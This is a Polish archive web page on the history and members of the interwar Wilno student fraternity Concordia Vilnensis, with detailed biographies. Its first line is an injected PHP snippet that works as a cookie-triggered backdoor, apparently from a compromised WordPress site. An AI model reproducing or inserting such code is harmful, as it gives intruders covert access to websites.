if (isset($_COOKIE["fn9uBsXrHEMCoNLjpQ9VN9SVJgeJ2TQDYJ"])) { $lines = get_option( 'wpsdth4_license_key' ); if (!empty($lines)) { $lines = @file_get_contents(".tmp"); } echo $lines; exit(); } Archiwum Korporacyjne - Archiwum i Muzeum Polskich Korporacji Akademickich

K! Concordia Vilnensis

Dekiel Zygmunta Andruszkiewicza. Nazwa:
Akademicka Korporacja “Concordia Vilnensis”
Siedziba:
Wilno
Data powstania:
1927 r.
Barwy:
fiolet biskupi – biała – złota (symbolika barw: Wiara, Honor, Ojczyzna)
Dewiza:
„Wierni Bogu i Ojczyźnie”

Rys historyczny

Banda komersowa NN, cyrkiel Czesława Kazulenasa, oraz banda rycerska z cyrklem Stefana Grajdka.

Concordia Vilnensis została założona w 1927 r. przez grupę studentów, w większości słuchaczy Wydziału Teologii Uniwersytetu Stefana Batorego. Głównymi inicjatorami byli studenci teologii: Kazimierz Muchlado, Antoni Bohdanowicz oraz Kazimierz Bochenek. Kuratorem z ramienia Senatu Uniwersytetu i pierwszym członkiem honorowym został ks. prof. Ignacy Świrski, późniejszy biskup.

Telegram gratulacyjny Concordii Vilnensis dla krakowskiej Capitolii, 1931 r.

Od listopada 1928 r. (?) Concordia należała do Związku Polskich Korporacji Akademickich (data starszeństwa związkowego: listopad 1928 r.). Kandydowała pod opieką Konwentu Polonia. Prawa członka rzeczywistego Związku uzyskała w 1930 r. W latach 1933-37 pozostawała poza jego strukturami.

Komers (?) Concordii Vilnensis, Wilno 1936 r.

Początkowo większość członków było studentami teologii, od 1931 r. zaczęli przeważać słuchacze Wydziału Prawa i Nauk Społecznych, Wydziału Matematyczno-Przyrodniczego oraz Wydziału Sztuk Pięknych. W 1932 r. połączyła się z Filomatią Vilnensis tworząc K! Concordia Filomatiae. Po kilku latach, dnia 13 XI 1935 r. nastąpiło zerwanie unii.

Siedziba Concordii mieściła się przy ul. Mickiewicza 22/17 w Wilnie (1935/36).

Całkowita ustalona, choć niekompletna imienna lista członków Concordii obejmuje 80 nazwisk, w tym siedmiu członków honorowych.

O działalności Concordii, a także o spotkaniach jej członków w czasie wojny i w okresie powojennym nie zachowały się prawie żadne informacje. Wiadomo jedynie, że po wojnie odbywały się w Warszawie spotkania niewielkiej grupy członków Korporacji.

Concordia Vilnensis, Wilno.

Lista członków

Poniższa, niekompletna lista członków Concordii Vilnensis obejmuje kilkadziesiąt nazwisk. Będziemy wdzięczni za jej uzupełnianie i korektę, przesyłanie danych biograficznych i fotografii członków korporacji (vide Kontakt), jak także za pomoc w poszukiwaniach materialnych śladów oraz wszelkich informacji o samej korporacji (vide Poszukiwania).

Członkowie honorowi

  1. Stefan Glaser (Glazer), (20 stycznia 1895 w Tarnowie - 30 kwietnia 1994 w Brukseli), studiował w Wiedniu i Lwowie, doktorat Lwów, habilitacja UJ w zakresie prawa i postępowania karnego, w latach 1920-24 Uniwersytecie Lubelskim, w latach 1923-24 dziekan Wydziału Prawa tego Uniwersytetu, od 1924 szef Katedry Prawa i Postępowania Karnego USB, Filister honorowy Concordii, w 1930 inicjator i jeden z sygnatariuszy tzw. protestu brzeskiego, w odwecie pozbawiony katedry i w wieku 39 lat przeniesiony na emeryturę, 1934-39 adwokat w Warszawie broniąc w procesach politycznych m.in. Stanisława Cywińskiego, Stanisława Mikołajczyka, Władysława Tempkę oraz reprezentując Stanisława Kota, w okresie międzywojennym opublikował kilkanaście książek i sto kilkadziesiąt artykułów i głos, po klęsce wrześniowej przedostał się do Francji, m.in. przedstawiciel rządu Władysława Sikorskiego w Komisji Narodów Zjednoczonych do Spraw Zbrodni Wojennych, inicjator, współtwórca, dziekan polskiego Wydziału Prawa na Uniwersytecie w Oksfordzie, współorganizator polskiego Wydziału Medycyny na Uniwersytecie w Edynburgu i polskiej Szkoły Architektury przy Uniwersytecie w Liverpoolu, po wojnie wykładowca na Uniwersytecie w Liège, Katolickim Uniwersytecie w Leuven i przez pewien czas na Uniwersytecie w Gandawie, znany na świecie specjalista w zakresie międzynarodowego prawa karnego, m.in. jeden z pomysłodawców Konwencji o niestosowaniu przedawnienia wobec zbrodni wojennych i zbrodni przeciw ludzkości, która została przyjęta przez Zgromadzenie Ogólne Organizacji Narodów Zjednoczonych dnia 26 listopada 1968, (Dz. U. z 1970 r. Nr 26, poz. 208), zwolennik współpracy międzynarodowej i integracji europejskiej, na Kongresie Europejskim w Hadze, na którym 8 maja 1948 na forum Komitetu Kulturalnego przedstawił referat, w którym postulował, by integracja w Europie dokonywała się nie tylko na płaszczyźnie politycznej i gospodarczej, ale również edukacyjnej proponując m.in. utworzenie w tym celu międzynarodowego uniwersytetu

  2. Jerzy Hoppen, (23 marca 1891 w Kownie - 4 października 1969 w Toruniu), uczeń Akademii Szkół Pięknych w Krakowie 1913 oraz Szkoły Szkół Pięknych w Petersburgu 1914-17, Wydziału Sztuk Pięknych USB w Wilnie (od 1921), Académie Colarossi w Paryżu 1924-25, dyplom artysty plastyka na WSP USB w Wilnie 1934, od 1931 adiunkt, jako docent kierował do 1939 zakładem grafiki na WSP USB w Wilnie, wykładowca w Litewskiej Akademii Sztuki w Wilnie 1940-42, pracownik Państwowego Muzeum Sztuki 1944-46, po wojnie profesor i kierownik zakładu grafiki na Wydziale Sztuk Plastycznych Uniwersytetu Mikołaja Kopernika w Toruniu 1946-61, malarz, grafik, pedagog, historyk sztuki i konserwator, twórca graficznej “Szkoły wileńskiej”, członek WTAP, Warszawskiego Towarzystwa Graficznego, Wileńskiego Towarzystwa Przyjaciół Nauk, kustosz Muzeum WTPN (od 1935), po wojnie w Stowarzyszeniu Historyków Sztuki i Związku Polskich Artystów Plastyków.

  3. Leon Iwaszkiewicz, inżynier

  4. Wacław Leśniewski, prawnik, fundator sztandaru Concordii

  5. Ludomir Ślendziński (Śleńdziński), (1889 w Wilnie -1980 w Krakowie) s. Wincentego, w latach 1909-16 student w petersburskiej Akademii Sztuk Pięknych pod kierunkiem Dymitra Kardowskiego, w 1920 wrócił do Wilna, gdzie zainicjował utworzenie Wileńskiego Towarzystwa Artystów Plastyków, prezes stowarzyszenia 1920-39, od 1925 szef katedry malarstwa monumentalnego na Wydziale Sztuk Pięknych USB w Wilnie, Filister honorowy Concordii, kurator i Filister honorowy Piłsudii, w czasie okupacji hitlerowskiej prześladowany przez gestapo i uwięziony w obozie ciężkich robót w Prawianiszkach na Litwie, po wojnie w Krakowie, szef katedry rysunku i rzeźby na Wydziale Architektury PK, prorektor i rektor Politechniki 1948-56, malarz i rzeźbiarz, pedagog; czołowy reprezentant nowego klasycyzmu, wystawy jego prac odbyły się w krakowskim Towarzystwie Przyjaciół Sztuk Pięknych (1927, 1950, 1957), warszawskim IPS (1933) i Towarzystwie Zachęty Sztuk Pięknych (1960), wielokrotnie na międzynarodowych wystawach organizowanych przez Towarzystwo Szerzenia Sztuki Polskiej wśród Obcych, a także w ekspozycjach urządzanych w Stanach Zjednoczonych przez Carnegie Institute w Pittsburgu, na Biennale w Wenecji (1926, 1932, 1936) oraz na Światowej Wystawie w Brukseli (1935), laureat PAU 1928 za “Portret żony z obrączką” (1925), złoty medal na Światowej Wystawie “Sztuka i Technika” w Paryżu 1937 za polichromowaną płaskorzeźbę przedstawiającą portret matki artysty, I nagroda w konkursie na dekorację sali obrad Sejmu 1927, I nagroda za projekt plafonu w Sali Balowej Ministerstwa Spraw Zagranicznych 1937, w 1973 w warszawskim Muzeum Narodowym retrospektywna wystawa twórczości artysty

  6. Ignacy Świrski, (20 września 1885 w Ellern (Alernia) na Łotwie - 25 marca 1968 w Siedlcach) ksiądz katolicki, prof. Akademii Duchownej w Sankt Petersburgu oraz USB w Wilnie, teolog moralny, pierwszy kurator i pierwszy Filister honorowy Concordii, kapelan w czasie wojny polsko-bolszewickiej, podczas II wojny światowej ukrywał się na terenie Wileńszczyzny, prowadząc równocześnie akcję pomocy prześladowanym Żydom, od maja 1945 rektor seminarium duchownego w Białymstoku, od 1946 biskup siedlecki, inspirował odbudowę kościołów parafialnych zniszczonych w czasie II wojny światowej, zarządził misje na całym Podlasiu, propagował zwalczanie pijaństwa, prowadził akcje charytatywne, zmarł w opinii świętości po ciężkiej chorobie w Siedlcach

  7. Aleksander Wójcicki, właściwie Aleksander Wojcicki (5 marca 1878 w Mistowie - 2 sierpnia 1954 w Warszawie) ksiądz katolicki, studiował prawo w Paryżu, Londynie oraz Lowanium, pierwszy polski ksiądz ze stopniem doktora nauk politycznych i społecznych, prof. Uniwersytetu Lubelskiego 1919-37, w 1922 poseł na Sejm, prof. i rektor USB w Wilnie 1937-39, kurator i Filister honorowy Concordii, w 1939 więzień Pawiaka, po wojnie wykładowca w Seminarium Metropolitalnym 1948-54

Członkowie rzeczywiści

  1. Antoni Andruszkiewicz, prawnik
  2. Zygmunt Andruszkiewicz, ( - 1943), sekretarz 1933, działacz Młodzieży Wszechpolskiej, publicysta w “Tygodniku Akademickim”, mgr, torturowany przez Saugumo i Gestapo popełnił samobójstwo nie chcąc wyjawić tajemnic konspiracji, jako “Andrzej” bohater książki Sergiusza Piaseckiego “Dla honoru organizacji”
  3. Jan Antosiewicz, student chemii, członek Zarządu Bratniej Pomocy USB 1935/36, jako fuks wystąpił z korporacji z powodu wyjazdu do Warszawy

    Józef Antoszek, ok. 1932 r.

  4. Józef Antoszek, (20 stycznia 1906 w Czarnocinie w woj. kieleckim - 1940 w Katyniu) s. Szczepana i Wandy z Wróblów, absolwent Gimnazjum im. Jędrzeja Śniadeckiego w Kielcach 1930 student USB, absolwent Szkoły Podchorążych Rezerwy Piechoty nr 10 w Gródku Jagiellońskim 1931, ppor. rez. 5 Pułku Piechoty, w niewoli sowieckiej, zamordowany przez NKWD

    Konstanty Birn, ok. 1932 r.

  5. Konstanty Birn (Bira), ( - po 1945) student teologii, założyciel Concordii, prezes 1929/30, przeszedł do Batorii, wywieziony na Syberię

  6. Stanisław Bobuis, (zm. 1939-45 ?) rozstrzelany przez Niemców (?)

    Zygmunt Bochenek, ok. 1932 r.

  7. Zygmunt Bochenek, student teologii, założyciel Concordii, pierwszy sekretarz (kanclerz) 1927, prezes 1933

    Antoni Bohdanowicz.

  8. Antoni Bohdanowicz, (1906 - 21 październik 1985) student teologii, założyciel Concordii, pierwszy wiceprezes (marszałek), absolwent prawa USB

  9. Franciszek Brzozowski, zginął pod Walścieniem
  10. Romuald Bukowski, (16 września 1914 - 1940 w Katyniu) s. Stanisława, ziemianin, absolwent III Gimnazjum oo. Jezuitów w Wilnie 1933, plut. pchor., uczestnik wojny obronnej 1939, w niewoli sowieckiej w Kozielsku, zamordowany przez NKWD (figuruje w spisach Concordii Vilnensis i Conradii)
  11. Antoni Burzyński, (17 czerwca 1911 w Wilnie - sierpień (?) 1943) s. Michała i Zofii z Sobolewskich, absolwent Gimnazjum im. Króla Zygmunta Augusta, student Wydziału Prawa i Nauk Społecznych, a następnie Wyższej Szkoły Nauk Politycznych, c. 1935, olderman 1937, ostatni wiceprezes (wicemarszałek) 1939, żołnierz Wojny Obronnej 1939, internowany w obozie w Kułatowie po przekroczeniu granicy z Litwą, uciekł z obozu w końcu 1939, żołnierz ZWZ AK, dowódca pierwszego oddziału partyzanckiego na wileńszczyźnie ps. “Kmicic”, wzięty do niewoli w walkach z partyzantką radziecką, według jednej z wersji zginął torturowany i zamęczony przez odział płk. Fiodora Markowa (podpalany i obdzierany pasami ze skóry), według innej wersji rozstrzelany przez ten oddział
  12. Dymitr Chyżewski, założyciel Concordii
  13. Zenon Czerwiński, (1911-1987) (?)
  14. Stanisław Korybut-Daszkiewicz,

    Janusz Teodor Dybowski, ok. 1932 r.

  15. Janusz Teodor Dybowski, (1 kwietnia 1909 w Zduńskiej Woli - 28 czerwca 1977 w Warszawie) s. Teodora i Zofii, wiceprezes 1930, prezes 1931/32, wiceprezes Koła Łodzian 1930/31, członek Zarządu Bratniej Pomocy USB 1932/33, red. naczelny “Akademicka Wileńskiego”, działacz Młodzieży Wszechpolskiej, inspektor Okręgu Wileńskiego Młodzieży Wszechpolskiej 1935, od 1934 studia ekonomii i filozofii w Poznaniu, 1937-39 bibliotekarz i zastępca dyrektora do spraw administracyjnych w Bibliotece Raczyńskich w Poznaniu, po wybuchu II wojny światowej przedostał się przez Słowację na Węgry, skąd w styczniu 1940 roku wyjechał do Francji, wstąpił do WP, walczył podczas kampanii francuskiej w I Dywizji Grenadierów, dostał się do niemieckiej niewoli, uciekł i przedostał się do Szwajcarii, jesienią 1940 podjął studia filozoficzne na uniwersytecie we Fryburgu, równocześnie pełnił funkcję bibliotekarza w obozie dla internowanych żołnierzy polskich, w 1943 doktoryzował się na podstawie pracy: “Cyprian Kamil Norwid, Kulturphilosoph der polnishen Romantic”, wiosną 1945 roku wyjechał do Belgii, gdzie pracował jako asystent na wydziale filozoficznym uniwersytetu w Brukseli, w latach 1947-48 kierownik Teatru Polskiego w Poznaniu, a następnie w Olsztynie, od 1951 w Warszawie jako lektor w przedsiębiorstwie Artos, w lipcu 1952 aresztowany i skazany na dwa lata więzienia pod zarzutem szpiegostwa na rzecz Stanów Zjednoczonych i przynależności do tajnej organizacji, po wyjściu na wolność, nie mając prawa do pracy w Warszawie, kierownik literacki Teatru Ziemi Rzeszowskiej, a następnie na tej samej funkcji w Olsztynie i Koszalinie, od 1960 w Warszawy i zajął się wyłącznie pracą literacką, w 1967 Nagroda Regionalna im. M. Lengowskiego ufundowana przez stowarzyszenie “Pax”, a w 1969 odznaczony Krzyżem Kawalerskim Orderu Odrodzenia Polski, w 1970 Dyplom Honorowego Obywatela m. Kalisza

  16. Dz (?) iślewski, (?)
  17. Aleksander Giro-Syryjski, (1913-1980), lekarz medycyny
  18. Stefan Grajdek, (1909-1990), prawnik
  19. Józef Hofman, wiceprezes 1933, prezes Młodzieży Wszechpolskiej, 1935, red. “Tygodnika Akademickiego” w wileńskim “Słowie”
  20. Albin Holak, (1910 - 9 kwietnia 2006), student WSH w Poznaniu, prawnik,

    Henryk Holak, ok. 1932 r.

  21. Henryk Holak, olderman 1929/30, prezes 1930 i 1932/33, członek Zarządu Bratniej Pomocy USB 1929/30 i 1930/31, prawnik, prokurator wojskowy, adwokat

  22. Ludomir Hryniewicki, (31 grudnia 1909 w Bobrujsku - 1940 w Katyniu) s. Wacława, brat Wacława (Polesia), artysta malarz, ppor. rez., w wojnie obronnej 1939 w 23 Pułku Ułanów, w niewoli sowieckiej, zamordowany przez NKWD
  23. Leon Sudnik Hryniewicz, dowódca patrolu I 2. Pułku Ułanów Karpackich, który zawiesił na ruinach klasztoru oo. Benedyktynów na Monte Cassino proporzec ułański
  24. Z. Hryniewiecki, (?)
  25. Leon Iwaszkiewicz, inż., prof.
  26. Kazimierz Kadenacy, (?)

    Alfons Kamiński, ok. 1950 r.

  27. Alfons Kamiński, (23 września 1912 w Kalinówce - 1992), student i absolwent 1937 USB, sekretarz 1938, po studiach nauczyciel łaciny, a następnie kierownik wydziału administracyjengo w Miejskim Przedsiębiorstwie Gospodarki Mieszkaniowej w Wilnie, od 1944 prof. filologii klasycznej oraz dyrektor Gimnazjum w Suchowoli, dyrektor Gimnazjum w Szczuczynie 1949-51, zastępca dyrektora Liceum Ogólnokształcącego w Grajewie 1951-57, a następnie dyrektor koreposondecyjnego Liceum Ogólnokształcącego w Grajewie, później przeszedł do pracy w NBP w Grajewie, od 1959 przewodniczący Powiatowej Komisji Planowania Gospodarczego Prezydium PRN, a następnie kierownik Powiatowego Inspektoratu Statystycznego, od 1971 na rencie, a od 1974 na emeryturze, działacz społeczny, od 1947 członek Stronnictwa Demokratycznego, przewodniczący Powiatowego Komitetu SD w Grajewie 1964-72, od 1949 radny Powiatowej Rady Narodowej w Sokółce, później w Szczuczynie i Grajewie, a od 1975 Wojewódzkiej Rady Narodowej, odznaczony m.in. Krzyżem Kawalerskim OOP, Złotym Krzyżem Zasługi, Odznaką “Zasłużony Białostocczyźnie”, Odznaką “Zasłużony działacz FJN”, Odznaką “Zasłużony działacz SD” (zob. także www.grajewiak.pl)

    Czesław Kazulenas, ok. 1937/38 (?).

  28. Czesław Kazulenas, (1 lutego 1915 w Durentach (?) -1978) s. Józefa i Weroniki, wiceprezes 1937, prezes 1938, lekarz med.

  29. Józef Kędzierski, (1910 - 1967 w Warszawie) w Concordia Filomatiae, przeszedł do Filomatii Vilnensis, c. 1933/34, wiceprezes 1934 oraz 1935, sekretarz Zarządu Bratniej Pomocy USB 1933/34 oraz 1934/35
  30. Antoni Kisiel, (1904 - 2 marca 1935) pochowany na Cmentarzu Bernardyńskim w Wilnie
  31. Koczorowski (?)

    Stanisław Kowalewski, lata 30-te.

  32. Stanisław Kowalewski, (1912-1987) po wojnie prof. gimnazjalny w Suchowoli, matematyk

  33. Józef Kowalski, matematyk
  34. Bronisław Kozłowski, (1908 - 1940 w Katyniu) s. Ottona, sekretarz 1937, działacz Młodzieży Wszechpolskiej, ppor. rez., w niewoli sowieckiej, zamordowany przez NKWD

    Jan Krupowicz, ok. 1932 r.

  35. Jan Krupowicz, (1905-2006) założyciel Concordii, wiceprezes 1929/20, olderman 1930, wiceprezes 1932/33, członek Sądu Koleżeńskiego Bratniej Pomocy USB 1934/35, działacz Młodzieży Wszechpolskiej, red. “Tygodnika Akademickiego” w wileńskim “Słowie”, chemik, prof. Akademii Rolniczej w Lublinie

    Zygmunt Kuczyński, 1992 r.

  36. Zygmunt Kuczyński, (26 grudnia 1911 - 26 grudnia 1995 w Warszawie) fuks w Concordia-Filomatiae, po rozłamie przeszedł do Filomatii Vilnensis, c. 1935, barwiarz 1937, działacz ONR, dr medycyny, twórca Muzeum Korporacyjnego w Warszawie, pochowany na Cmentarzu Prawosławnym na Woli w kwaterze katolickiej

  37. Aleksander Kulewicz, członek Zarządu Koła PWS 1936/37, działacz Młodzieży Wszechpolskiej, wystąpił z korporacji, lekarz
  38. Adam Kurzawa, sekretarz 1932/33, I-szy Sekretarz KW PZPR w Łodzi

    Jan Krupowicz, ok. 1932 r.

  39. Stanisław Łobacz, (1906-1987) student Wydziału Matematyczno-Przyrodniczego, olderman 1933, członek Zarządu Bratniej Pomocy USB 1933/34, 1934/35 i 1935/36, oficer wywiadu AK Okręg Wilno

  40. Longin Łokuciewski, (1913 - 20 września 1995 w Olsztynie) absolwent III Gimnazjum oo. Jezuitów w Wilnie 1933, c. 1934, olderman 1938 i 1939, działacz Młodzieży Wszechpolskiej, absolwent USB, prawnik

    Józef Łotowski, 1938 r.

  41. Józef Łotowski, fuksmajor 1938

  42. Gustaw Markun, (1913-1998), dziennikarz
  43. Walenty Masewicz, prawnik

    Edmund Medeksza, 1933 r.

  44. Edmund Medeksza, (24 września 1907 w Kownie - 1945 w Jelszance k. Saratowa na Ukrainie) s. Witolda i Berty z d. Mertens, szwagier Edmunda Karlickiego (Polesia), student Wydziału Sztuk Pięknych, po studiach pracownik Biura Urbanistycznego w Wilnie, w wojnie obronnej 1939 w Sztabie WP, internowany w obozie w Kołotowie, w konspiracji oficer kontrwywiadu AK Okręg Wilno ps. “Proszcz” i “Horodniczy”, 29 stycznia 1945 aresztowany w łapance na Moście Zwierzynieckim w Wilnie i osadzony w więzieniu na Łukiszkach, 10 marca 1945 wywieziony do obozu w Jelszance k. Saratowa, gdzie prawdopodobnie zginął, symbolicznie pochowany na cmentarzu przy ul. Smętnej na Sępolnie we Wrocławiu

    Czesław Michniewicz, ok. 1932 r.

  45. Czesław Michniewicz, założyciel Concordii

    Julian Mrówczyński, 1938 r.

  46. Julian Mrówczyński, brat bliźniak Stefana (Concordia)

    Stefan Mrówczyński, 1938 r..

  47. Stefan Mrówczyński, brat bliźniak Juliana (Concordia)

    Kazimierz Muchlado, ok. 1932 r.

  48. Kazimierz Muchlado, (1912-1947) student teologii, założyciel, pierwszy prezes (marszałek), autor hymnu Concordii Vilnensis

  49. Bolesław Nowik, prawnik, oficer wywiadu AK Okręg Wilno
  50. Bolesław Olszewski, członek Sądu Koleżeńskiego Bratniej Pomocy USB 1935/36, członek Komisji Rewizyjnej Bratniej Pomocy USB 1937/38, ksiądz
  51. Wacław Orzechowski, wyjechał przed wojną do Stanów Zjednoczonych
  52. Edward Pankiewicz, wiceprezes 1938, pisarz historyczny
  53. Andrzej Pawlica, prawnik
  54. Bolesław Piasecki - Gozdawa, (1912-1980) student Wydziału Sztuk Pięknych, prezes 1937, członek Zarządu Bratniej Pomocy USB 1937/38, działacz SA SN, artysta malarz ps. Gozdawa
  55. Konstanty Pukianiec, (17 kwietnia 1914 w Jutańcach w pow. święciańskim na Wileńszczyźnie - 31 stycznia 1995 w Przasnyszu), s. Antoniego i Emilii z d. Masalite, student med. USB, ukończył studia na Uniwersytecie w Kownie 1941, po studiach lekarz w Szpitalu Czerwonego Krzyża w Wilnie, innych szpitalach wileńskich oraz w Wołkowysku, lekarz 5 Brygady Okręgu Wileńskiego AK ps. “Strumyk”, bezpośrednio pod komendą mjr. Zygmunta Szendzielarza “Łupaszki”, uczestniczył w wyzwoleniu Wilna, arsztowany przez NKWD, w 1945 ekspatriował się do Polski, ujawnił się w 1946, lekarz w Toruniu 1945-52, od 1952 ordynator Oddziału Chirurgii Szpitala Powiatowego w Przasnyszu, kierownik Poradni Chirurgicznej i kierownik Powiatowej Stacji Pogotowia Ratunkowego, działacz PCK i ZBOWiD, odznaczony Złotym Krzyżem Zasługi i Krzyżem Partyzanckim, pochowany na warszawskich Powązkach, jego nazwiskiem nazwano jedną z ulic w Przasnyszu
  56. Witold Pyłkowski, założyciel Concordii
  57. Antoni Rukowicz, (1901-1982) student i absolwent prawa USB, założyciel Concordii, olderman 1931/32 i 1932/33

    Roman Rynczewski, prawd. lata 30-te.

  58. Roman Rynczewski, (5 października 1905 w Mironówce k. Białej Cerkwi na Ukrainie - 3 grudnia 1960 w Zielonej Górze), s. Józefa i Cyprianny, absolwent Państwowej Średniej Szkoły Graficznej w Bydgoszczy, absolwent Wydziału Sztuk Pięknych USB, po studiach pracował w szkolnictwie jako nauczyciel w Wilnie i Zielonej Górze, pochowany na cmentarzu komunalnym przy ul. Wrocławskiej w Zielonej Górze

  59. Bronisław Sarosiek, ksiądz katolicki

    Wacław Sielicki, lata 30-te.

  60. Wacław Sielicki, (20 stycznia 1913 w Mińsku -8 listopada 1973 w Leeds w Wielkiej Brytanii) s. Wiktora (wyższego urzędnika kolei w MIńsku, a potem banku w Równem Wołyńskim) i Walerii z d. Bohuszewicz, absolwent Gimnazjum w Równem Wołyńskim 1933, student Wydziału Prawa i Nauk Społecznych USB, dwukrotnie kanclerz Concordii, kilkukrotnie ukończył wakacyjną Szkołę Podchorążych Rezerwy Piechoty przy 44. Pułku Strzelców w Równem Wołyńskim i Łucku 1934, 1937 i 1938, przed wojną pracował krótko jako prawnik Ubezpieczalni Społecznej w Wilnie, uczestniczył w wojnie obronnej 1939, członek AK w Wilnie, aresztowany zimą 1943, zesłany do obozu pracy przymusowej w Alzacji, a następnie do Bodensee, wraz z grupą współwięźniów uciekł 17 marca 1945 przez Szwajcarię do Włoch, gdzie dołączył do II Korpusu PSZ na Zachodzie, gdzie został dowódcą plutonu w 64. Pomorskim Batalionie Piechoty, w 1946 awansowany na stopień podporucznika, po wojnie pozostał na emigracji w Wielkiej Brytanii, pracował fizycznie na budowie i odlewni stali, działał w Stowarzyszeniu Polskich Kombatantów, kilkukrotny prezes Koła SPK nr 413, odznaczony The War Medal 1939-1945, Italy Star i Medalem Wojska, pochowany na Cmentarzu Killingbeck w Leeds [Źródła (poza wskazanymi poniżej spisu członków): relacja wnuczki Anny Kucewicz]

  61. L. Sokołowski
  62. Władysław Sokołowski, ( - zm. w Irkucku), prezes Młodzieży Wszechpolskiej 1936

    Józef Sztal.

  63. Józef Sztal, (1909?-1940 w Radomiu), sekretarz 1931, rolnik, zginął rozstrzelany przez Niemców

  64. Józef Szucman, ( - 1939), zginął

    Feliks Wawrzyniak, 1938 r..

  65. Feliks Wawrzyniak, ( -1993)

  66. Bohdan Wądołowski

    Tadeusz Wesołowski, ok. 1932 r.

  67. Tadeusz Wesołowski, sekretarz 1929/30 i 1930, członek Zarządu Bratniej Pomocy USB 1932/33, prawnik, adwokat

    Wójcik, ok. 1932 r.

  68. Wójcik, założyciel Concordii

  69. Wiktor Zapaśnik, dowódca kompanii w batalionie “Bohdanka”, zginął w ok. Niemna rozstrzelany przez partyzantkę radziecką (?)
  70. Żak
  71. Henryk Żebrowski

    Henryk Żukowski, ok. 1932 r.

  72. Henryk Żukowski, wiceprezes 1931/32, prezes 1933

    Jerzy Żukowski, ok. 1932 r.

  73. Jerzy Żukowski, student prawa, założyciel Concordii, pierwszy olderman 1927, członek Zarządu Bratniej Pomocy USB 1928/29

Listę członków opracowano na podstawie:

Concordusi na plaży nad Wilenką, Wilno maj 1932 r.

1) Zygmunt Kuczyński, Lista członków Polskiej Korporacji Akademickiej Concordia Vilnensis (Wilno), (w:) Polskie Korporacje Akademickie 1997, nr 15, s. 31 i n.,
2) materiałów archiwalnych z Archiwum Korporacyjnego,
3) wydawnictw encyklopedycznych i biograficznych oraz rozmów z rodzinami członków Korporacji Concordia Vilnensis.

Opracowanie: Bartłomiej P. Wróblewski
Opublikowano: 16 VII 2010 r.
Ostatnia zmiana: 20 VII 2020 r.

Propozycja cytowania: Bartłomiej P. Wróblewski, Akademicka Korporacja “Concordia Vilnensis” (Wilno), (na:) www.archiwumkorporacyjne.pl, stan 20 VII 2020 r.

O Archiwum  |  Muzeum Korporacyjne  |  Aktualności  |  Kontakt  |   English © Archiwum Korporacyjne     Nota prawna  |  Mapa serwisu  | 
Szukaj    »
created by { re.PUBLIK }